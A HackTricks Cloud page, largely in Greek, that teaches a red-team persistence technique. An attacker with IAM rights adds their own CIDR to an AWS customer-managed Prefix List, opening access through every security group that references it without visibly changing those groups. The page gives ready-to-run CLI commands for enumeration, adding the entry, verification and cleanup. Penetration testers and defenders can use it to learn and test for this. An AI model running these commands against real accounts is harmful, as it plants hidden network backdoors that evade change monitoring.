AWS - Security Group Backdoor via Managed Prefix Lists
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Δείτε τα subscription plans!
- Εγγραφείτε στο 💬 Discord group ή την telegram group ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε τα hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Περίληψη
Καταχρήση των customer-managed Prefix Lists για να δημιουργηθεί ένα κρυφό μονοπάτι πρόσβασης. Εάν ένας κανόνας security group (SG) αναφέρεται σε managed Prefix List, οποιοσδήποτε έχει τη δυνατότητα να τροποποιήσει αυτή τη λίστα μπορεί σιωπηλά να προσθέσει attacker-controlled CIDRs. Κάθε SG (και ενδεχομένως Network ACL ή VPC endpoint) που αναφέρεται στη λίστα επιτρέπει αμέσως τις νέες περιοχές χωρίς καμία εμφανή αλλαγή στο SG.
Επιπτώσεις
- Άμεση επέκταση των επιτρεπόμενων IP ranges για όλα τα SG που αναφέρονται στην prefix list, παρακάμπτοντας τους ελέγχους αλλαγών που παρακολουθούν μόνο τις επεξεργασίες των SG.
- Επιτρέπει επίμονες ingress/egress backdoors: διατηρήστε το malicious CIDR κρυμμένο στην prefix list ενώ ο κανόνας του SG φαίνεται αμετάβλητος.
Απαιτήσεις
- IAM permissions:
ec2:DescribeManagedPrefixListsec2:GetManagedPrefixListEntriesec2:ModifyManagedPrefixListec2:DescribeSecurityGroups/ec2:DescribeSecurityGroupRules(to identify attached SGs)- Προαιρετικό:
ec2:CreateManagedPrefixListif creating a new one for testing. - Περιβάλλον: Τουλάχιστον ένας κανόνας SG που αναφέρεται στην στοχευμένη customer-managed Prefix List.
Μεταβλητές
REGION=us-east-1
PREFIX_LIST_ID=<pl-xxxxxxxx>
ENTRY_CIDR=<attacker-cidr/32>
DESCRIPTION="Backdoor – allow attacker"
Βήματα Επίθεσης
- Καταγράψτε (enumerate) τα υποψήφια prefix lists και τους consumers
aws ec2 describe-managed-prefix-lists \
--region "$REGION" \
--query 'PrefixLists[?OwnerId==`<victim-account-id>`].[PrefixListId,PrefixListName,State,MaxEntries]' \
--output table
aws ec2 get-managed-prefix-list-entries \
--prefix-list-id "$PREFIX_LIST_ID" \
--region "$REGION" \
--query 'Entries[*].[Cidr,Description]'
Χρησιμοποιήστε aws ec2 describe-security-group-rules --filters Name=referenced-prefix-list-id,Values=$PREFIX_LIST_ID για να επιβεβαιώσετε ποιοι κανόνες SG εξαρτώνται από τη λίστα.
- Προσθέστε attacker CIDR στη prefix list
aws ec2 modify-managed-prefix-list \
--prefix-list-id "$PREFIX_LIST_ID" \
--add-entries Cidr="$ENTRY_CIDR",Description="$DESCRIPTION" \
--region "$REGION"
- Επαληθεύστε τη διάδοση προς τα security groups
aws ec2 describe-security-group-rules \
--region "$REGION" \
--filters Name=referenced-prefix-list-id,Values="$PREFIX_LIST_ID" \
--query 'SecurityGroupRules[*].{SG:GroupId,Description:Description}' \
--output table
Η κυκλοφορία από $ENTRY_CIDR επιτρέπεται πλέον όπου γίνεται αναφορά στην prefix list (συνήθως στους κανόνες εξερχόμενης κυκλοφορίας σε egress proxies ή στους εισερχόμενους κανόνες σε shared services).
Αποδείξεις
get-managed-prefix-list-entriesαντικατοπτρίζει το CIDR του επιτιθέμενου και την περιγραφή.describe-security-group-rulesεξακολουθεί να εμφανίζει τον αρχικό κανόνα SG που αναφέρεται στην prefix list (δεν καταγράφηκε τροποποίηση του SG), παρ’ όλα αυτά η κίνηση από το νέο CIDR επιτυγχάνει.
Καθαρισμός
aws ec2 modify-managed-prefix-list \
--prefix-list-id "$PREFIX_LIST_ID" \
--remove-entries Cidr="$ENTRY_CIDR" \
--region "$REGION"
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Δείτε τα subscription plans!
- Εγγραφείτε στο 💬 Discord group ή την telegram group ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε τα hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
HackTricks Cloud

